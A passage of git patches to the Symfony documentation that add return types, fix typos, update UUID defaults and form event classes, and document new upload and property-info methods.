                 // the example below will create a CallbackChoiceLoader from the callable
diff --git a/reference/forms/types/options/error_mapping.rst.inc b/reference/forms/types/options/error_mapping.rst.inc
index 37b3b204483..4c70276d741 100644
--- a/reference/forms/types/options/error_mapping.rst.inc
+++ b/reference/forms/types/options/error_mapping.rst.inc
@@ -13,7 +13,7 @@ of the form.
 With customized error mapping, you can do better: map the error to the city
 field so that it displays above it::
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'error_mapping' => [
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index c5fe70b6d67..1f5c9a597a3 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -11,7 +11,7 @@ For ``null`` the validator will just use the ``Default`` group.
 If you specify the groups as an array or string they will be used by the
 validator as they are::
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => 'Registration',
@@ -31,7 +31,7 @@ the option. Symfony will then pass the form when calling it::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form): array {
@@ -69,7 +69,7 @@ Here's an example::
     class MyType extends AbstractType
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => new GroupSequence(['First', 'Second']),

From 9d15f1c0e880c2114e72bf461e16129dfee251b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Thu, 30 Nov 2023 12:18:40 +0100
Subject: [PATCH 5447/7107] fix type of `$response->headers->set()`

The signature of the function `set` on `\Symfony\Component\HttpFoundation\ResponseHeaderBag` has changed with the release of Symfony 6.0
---
 profiler.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index e8b587eb9c1..9ea77a2485d 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -213,10 +213,10 @@ pages from a server.
 
 By default, the debug toolbar displays the information of the initial page load
 and doesn't refresh after each AJAX request. However, you can set the
-``Symfony-Debug-Toolbar-Replace`` header to a value of ``1`` in the response to
+``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response to
 the AJAX request to force the refresh of the toolbar::
 
-    $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+    $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
 
 Ideally this header should only be set during development and not for
 production. To do that, create an :doc:`event subscriber </event_dispatcher>`
@@ -251,7 +251,7 @@ event::
             }
 
             $response = $event->getResponse();
-            $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+            $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
         }
     }
 

From 0cc5fb3a6e9737d951283b5dff7ddcc7ffa07bb0 Mon Sep 17 00:00:00 2001
From: Hmache Abdellah <11814824+Hmache@users.noreply.github.com>
Date: Thu, 30 Nov 2023 19:36:51 +0100
Subject: [PATCH 5448/7107] Fix typo in http_client.rst

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index a65bafcde3f..d05977e7155 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1809,7 +1809,7 @@ assertions on the request before returning the mocked response::
         },
     ];
 
-    $client = new MockHttpClient($expectedRequest);
+    $client = new MockHttpClient($expectedRequests);
 
     // ...
 

From f65d2f48ae104da00ebbba14458288c2b3d66b2a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 1 Dec 2023 15:29:35 +0100
Subject: [PATCH 5449/7107] [Form] Updating the generic `FormEvent` to specific
 event (e.g. `PreSetDataEvent`)

Page: https://symfony.com/doc/6.4/form/events.html

The idea is taken from https://github.com/symfony/symfony/issues/52829#issuecomment-1834967022
---
 form/events.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 6c3dc151d70..a9283b65722 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
+:method:`PreSetData::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
@@ -277,13 +277,13 @@ method of the ``FormFactory``::
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (PreSubmitEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 
@@ -313,7 +313,7 @@ callback for better readability::
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\FormEvents;
 
     // ...
@@ -331,7 +331,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event): void
+        public function onPreSetData(PreSetDataEvent $event): void
         {
             // ...
         }
@@ -353,7 +353,8 @@ Consider the following example of a form event subscriber::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
-    use Symfony\Component\Form\FormEvent;
+    use Symfony\Component\Form\Event\PreSetDataEvent;
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     class AddEmailFieldListener implements EventSubscriberInterface
@@ -366,7 +367,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event): void
+        public function onPreSetData(PreSetDataEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -378,7 +379,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event): void
+        public function onPreSubmit(PreSubmitEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();

From 1f64e6e878a19d719e636f003c76336b49295720 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 16:10:52 +0100
Subject: [PATCH 5450/7107] Minor tweak

---
 components/cache/adapters/doctrine_dbal_adapter.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index 97b67724ce1..68732ddd3fa 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -51,10 +51,10 @@ The following database servers are known to be compatible:
 
 .. note::
 
-    Newer releases of Doctrine DBAL might increase these minimal versions. Please check
-    the manual page on `Doctrine DBAL Platforms`_ if your database server is compatible
-    with the installed Doctrine DBAL version.
+    Newer releases of Doctrine DBAL might increase these minimal versions. Check
+    the manual page on `Doctrine DBAL Platforms`_ if your database server is
+    compatible with the installed Doctrine DBAL version.
 
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
 .. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html#connecting-using-a-url
-.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html
\ No newline at end of file
+.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html

From 7d0f640b523959f2ad6fc6938a36146867146c73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 16:29:41 +0100
Subject: [PATCH 5451/7107] Update the Uid version config

---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8b1c496bdc3..26fd32989a9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -90,10 +90,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
-                default_uuid_version: 6
+                default_uuid_version: 7
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 6
+                time_based_uuid_version: 7
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -109,10 +109,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
-                    default_uuid_version="6"
+                    default_uuid_version="7"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="6"
+                    time_based_uuid_version="7"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -131,10 +131,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 6,
+                    'default_uuid_version' => 7,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_version' => 7,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -156,7 +156,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v6 by default)
+            // This creates a UUID of the version given in the configuration file (v7 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From 2a2151f28cdded0a49e69f92138444dc63bcca20 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Tue, 28 Nov 2023 01:41:27 +0100
Subject: [PATCH 5452/7107] [Contributing] Remove references to
 symfony/website-skeleton

---
 contributing/community/reviews.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index ba08e4ffd36..e3da2dcdb21 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -59,15 +59,15 @@ The steps for the review are:
 #. **Is the Report Complete?**
 
    Good bug reports contain a link to a project (the "reproduction project")
-   created with the `Symfony skeleton`_ or the `Symfony website skeleton`_
-   that reproduces the bug. If it doesn't, the report should at least contain
-   enough information and code samples to reproduce the bug.
+   created with the `Symfony skeleton`_ that reproduces the bug. If it
+   doesn't, the report should at least contain enough information and code
+   samples to reproduce the bug.
 
 #. **Reproduce the Bug**
 
    Download the reproduction project and test whether the bug can be reproduced
    on your system. If the reporter did not provide a reproduction project,
-   create one based on one `Symfony skeleton`_ (or the `Symfony website skeleton`_).
+   create one based on one `Symfony skeleton`_.
 
 #. **Update the Issue Status**
 
@@ -134,9 +134,9 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 #. **Reproduce the Problem**
 
    Read the issue that the pull request is supposed to fix. Reproduce the
-   problem on a new project created with the `Symfony skeleton`_ (or the
-   `Symfony website skeleton`_) and try to understand why it exists. If the
-   linked issue already contains such a project, install it and run it on your system.
+   problem on a new project created with the `Symfony skeleton`_ and try to
+   understand why it exists. If the linked issue already contains such a
+   project, install it and run it on your system.
 
 #. **Review the Code**
 
@@ -212,7 +212,6 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 .. _GitHub: https://github.com
 .. _Symfony issue tracker: https://github.com/symfony/symfony/issues
 .. _`Symfony skeleton`: https://github.com/symfony/skeleton
-.. _`Symfony website skeleton`: https://github.com/symfony/website-skeleton
 .. _create a GitHub account: https://help.github.com/github/getting-started-with-github/signing-up-for-a-new-github-account
 .. _bug reports in need of review: https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Aissue+label%3A%22Bug%22+label%3A%22Status%3A+Needs+Review%22+
 .. _PRs in need of review: https://github.com/symfony/symfony/pulls?q=is%3Aopen+is%3Apr+label%3A%22Status%3A+Needs+Review%22

From 389c006bbdf2f999140732710b8c43791ab4b0e8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 22:37:17 +0100
Subject: [PATCH 5453/7107] Adding asset versioning to comparison table

---
 frontend.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 53999ad03bc..cec78509c94 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -16,17 +16,18 @@ fast frontend, *and* enjoy the process:
   to Webpack Encore that runs entirely in PHP. It's currently experimental.
 
 ================================  =================  ======================================================
-                                  Encore             AssetMapper
+                                  Webpack Encore     AssetMapper
 ================================  =================  ======================================================
 Production Ready?                 yes                yes
 Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                      Node.js            none: pure PHP
+Requirements                      Node.js            none (pure PHP)
 Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
 Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
 Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
+Versioned assets                  optional           always
 ================================  =================  ======================================================
 
 .. _ux-note-1:

From 0f91d4d6513da89db26883c1a9b3d400307c43e2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 1 Dec 2023 17:32:22 +0100
Subject: [PATCH 5454/7107] [AssetMapper] Removing TODOs

Looks like this was forgotten to delete after finishing https://github.com/symfony/symfony-docs/pull/19189 :-)
---
 frontend/asset_mapper.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 601b29f122d..70db9265226 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -993,10 +993,6 @@ rendered by the ``{{ importmap() }}`` Twig function:
 Page-Specific CSS & JavaScript
 ------------------------------
 
----> TODO HEre
----> need to add the entrypoint in the importmap.php file
-----> and should NOT call parent() in the javascript block
-
 Sometimes you may choose to include CSS or JavaScript files only on certain
 pages. For JavaScript, an easy way is to load the file with a `dynamic import`_:
 

From a8b80b8b8a8ed8e3cfcf6512e90781f58c7b8556 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 17:33:11 +0100
Subject: [PATCH 5455/7107] [Form] Fix an RST reference

---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a9283b65722..6b9dcb5c2f8 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`PreSetData::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent>`.
+:method:`PreSetDataEvent::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.

From 738c8939b6b7bbba7f4a40e72520cf37f4b1d410 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 1 Dec 2023 17:40:37 +0100
Subject: [PATCH 5456/7107] Reorder imports in code examples

---
 form/events.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 6b9dcb5c2f8..07d01e026e9 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,7 +62,6 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
-:method:`PreSetDataEvent::setData() <Symfony\\Component\\Form\\Event\\PreSetDataEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.
@@ -274,10 +273,10 @@ method of the ``FormFactory``::
 
     // ...
 
+    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\Event\PreSubmitEvent;
     use Symfony\Component\Form\FormEvents;
 
     $form = $formFactory->createBuilder()
@@ -311,9 +310,9 @@ callback for better readability::
     // src/Form/SubscriptionType.php
     namespace App\Form;
 
+    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\FormEvents;
 
     // ...
@@ -352,9 +351,9 @@ Consider the following example of a form event subscriber::
     namespace App\Form\EventListener;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\Event\PreSetDataEvent;
     use Symfony\Component\Form\Event\PreSubmitEvent;
+    use Symfony\Component\Form\Extension\Core\Type\EmailType;
     use Symfony\Component\Form\FormEvents;
 
     class AddEmailFieldListener implements EventSubscriberInterface

From 7c1a4b44ca4b5a1f6689db600746088b9265143b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 2 Dec 2023 11:43:57 +0100
Subject: [PATCH 5457/7107] Add attribute configuration block for reusable
 locator

---
 .../service_subscribers_locators.rst            | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 397e7141bf4..ec57eb8f12b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -570,6 +570,23 @@ Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Psr\Container\ContainerInterface;
+        use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+        class CommandBus
+        {
+            public function __construct(
+                #[Autowire(service: 'app.command_handler_locator')]
+                private ContainerInterface $locator,
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From cc496e09bfa4384bd38daf776671c211943244ff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 3 Dec 2023 20:00:01 +0100
Subject: [PATCH 5458/7107] -

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 856350aaef5..90320d0baeb 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -31,7 +31,7 @@ using a processor::
             $this->requestStack = $requestStack;
         }
 
-        // this method is called for each log record; optimize it to not hurt performance
+        // method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
             try {

From 03b72037ad4d8794bdf232340a702bfc6e5962f7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Dec 2023 08:56:36 +0100
Subject: [PATCH 5459/7107] [PropertyInfo] Introduce
 `PropertyDocBlockExtractorInterface`

---
 components/property_info.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 452966f57d5..ca05d944429 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -183,6 +183,26 @@ for a property::
 
 See :ref:`components-property-info-type` for info about the ``Type`` class.
 
+Documentation Block
+~~~~~~~~~~~~~~~~~~~
+
+Extractors that implement :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface`
+can provide the full documentation block for a property as a string::
+
+    $docBlock = $propertyInfo->getDocBlock($class, $property);
+    /*
+        Example Result
+        --------------
+        string(79):
+            This is the subsequent paragraph in the DocComment.
+            It can span multiple lines.
+    */
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface``
+    interface was introduced in Symfony 7.1.
+
 .. _property-info-description:
 
 Description Information
@@ -413,6 +433,12 @@ library is present::
     // Description information.
     $phpDocExtractor->getShortDescription($class, $property);
     $phpDocExtractor->getLongDescription($class, $property);
+    $phpDocExtractor->getDocBlock($class, $property);
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock``
+    method was introduced in Symfony 7.1.
 
 PhpStanExtractor
 ~~~~~~~~~~~~~~~~

From 9cc4a78d32588b009e0b6869376b82418f09180d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 4 Dec 2023 09:04:40 +0100
Subject: [PATCH 5460/7107] remove versionadded directives for Symfony 6

---
 frontend/asset_mapper.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 730c62b1cbd..64768b8e77b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -379,10 +379,6 @@ from inside ``app.js``:
 Handling CSS
 ------------
 
-.. versionadded:: 6.4
-
-    The ability to import CSS files was introduced in Symfony 6.4.
-
 CSS can be added to your page by importing it from a JavaScript file. The default
 ``assets/app.js`` already imports ``assets/styles/app.css``:
 
@@ -639,10 +635,6 @@ validate the performance of your site!
 Performance: Understanding Preloading
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.4
-
-    Automatic preloading of JavaScript files was introduced in Symfony 6.4.
-
 One issue that LightHouse may report is:
 
     Avoid Chaining Critical Requests

From d2f38719400eb1f329594a5fa95bda57149a8476 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Dec 2023 12:47:53 +0100
Subject: [PATCH 5461/7107] [DependencyInjection] Mention autoconfiguration
 through attributes

---
 controller/upload_file.rst |  2 +-
 service_container.rst      | 11 +++++++++++
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 886c772d98a..e444101ef00 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -60,7 +60,7 @@ so Symfony doesn't try to get/set its value from the related entity::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
diff --git a/service_container.rst b/service_container.rst
index ea341c124d6..76381cf41fb 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -948,6 +948,17 @@ you don't need to do *anything*: the service will be automatically loaded. Then,
 implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add
 constructor arguments without any configuration.
 
+Autconfiguration also works with attributes. Some attributes like
+:class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`,
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` and
+:class:`Symfony\\Component\\Console\\Attribute\\AsCommand` are registered
+for autoconfiguration. Any class using these attributes will have tags applied
+to them.
+
+.. versionadded:: 5.3
+
+    Autoconfiguration through attributes was introduced in Symfony 5.3.
+
 Linting Service Definitions
 ---------------------------
 

From 4120857b930db4037473660232d912ca4c3b64da Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Mon, 4 Dec 2023 09:04:13 +0100
Subject: [PATCH 5462/7107] [HttpFoundation] Add
 `UploadedFile::getClientOriginalPath()` to support directory uploads

---
 controller/upload_file.rst     | 14 ++++++++++++--
 reference/forms/types/file.rst | 10 +++++++---
 2 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c05e78997ba..f638ed0d517 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -194,13 +194,23 @@ There are some important things to consider in the code of the above controller:
    users. This also applies to the files uploaded by your visitors. The ``UploadedFile``
    class provides methods to get the original file extension
    (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalExtension`),
-   the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`)
-   and the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`).
+   the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`),
+   the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`)
+   and the original file path (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalPath`).
    However, they are considered *not safe* because a malicious user could tamper
    that information. That's why it's always better to generate a unique name and
    use the :method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::guessExtension`
    method to let Symfony guess the right extension according to the file MIME type;
 
+.. note::
+
+    If a directory was uploaded, ``getClientOriginalPath`` will contain the **webkitRelativePath** as provided by the browser.
+    Otherwise this value will be identical to ``getClientOriginalName``.
+
+.. versionadded:: 7.1
+
+    The ``getClientOriginalPath`` method was introduced in Symfony 7.1.
+
 You can use the following code to link to the PDF brochure of a product:
 
 .. code-block:: html+twig
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 95aab73783a..b4982859b98 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -55,6 +55,10 @@ You might calculate the filename in one of the following ways::
     // use the original file name
     $file->move($directory, $file->getClientOriginalName());
 
+    // when "webkitdirectory" upload was used
+    // otherwise the value will be the same as getClientOriginalName
+    // $file->move($directory, $file->getClientOriginalPath());
+
     // compute a random name and try to guess the extension (more secure)
     $extension = $file->guessExtension();
     if (!$extension) {
@@ -63,9 +67,9 @@ You might calculate the filename in one of the following ways::
     }
     $file->move($directory, rand(1, 99999).'.'.$extension);
 
-Using the original name via ``getClientOriginalName()`` is not safe as it
-could have been manipulated by the end-user. Moreover, it can contain
-characters that are not allowed in file names. You should sanitize the name
+Using the original name via ``getClientOriginalName()`` or ``getClientOriginalPath``
+is not safe as it could have been manipulated by the end-user. Moreover, it can contain
+characters that are not allowed in file names. You should sanitize the value
 before using it directly.
 
 Read :doc:`/controller/upload_file` for an example of how to manage a file

From 1e14f408ff1e4df1e862acadb50a395a550b7efe Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 4 Dec 2023 21:59:51 +0100
Subject: [PATCH 5463/7107] append parentheses to method names

---
 controller/upload_file.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index f638ed0d517..f50432f5ee3 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -204,12 +204,13 @@ There are some important things to consider in the code of the above controller:
 
 .. note::
 
-    If a directory was uploaded, ``getClientOriginalPath`` will contain the **webkitRelativePath** as provided by the browser.
-    Otherwise this value will be identical to ``getClientOriginalName``.
+    If a directory was uploaded, ``getClientOriginalPath()`` will contain
+    the **webkitRelativePath** as provided by the browser. Otherwise this
+    value will be identical to ``getClientOriginalName()``.
 
 .. versionadded:: 7.1
 
-    The ``getClientOriginalPath`` method was introduced in Symfony 7.1.
+    The ``getClientOriginalPath()`` method was introduced in Symfony 7.1.
 
 You can use the following code to link to the PDF brochure of a product:
 

From 0ef5c2d85d1cd8a8477cde562b715552cebd76af Mon Sep 17 00:00:00 2001
From: jmsche <jonathan.scheiber@wikipower.be>
Date: Tue, 5 Dec 2023 08:23:38 +0100
Subject: [PATCH 5464/7107] UX bundles: fix autoimport paths

---
 frontend/create_ux_bundle.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 12002d10356..eaadd3f1e41 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -47,8 +47,8 @@ to the ``peerDependencies``:
                     "fetch": "eager",
                     "enabled": true,
                     "autoimport": {
-                        "dist/bootstrap4-theme.css": false,
-                        "dist/bootstrap5-theme.css": true
+                        "@acme/feature/dist/bootstrap4-theme.css": false,
+                        "@acme/feature/dist/bootstrap5-theme.css": true
                     }
                 }
             }

From 374c12fef1ad3758aed2fe0dc0f861fc0f5f416a Mon Sep 17 00:00:00 2001
From: Oussama GHAIEB <Oussama.BelGhaieb@gmail.com>
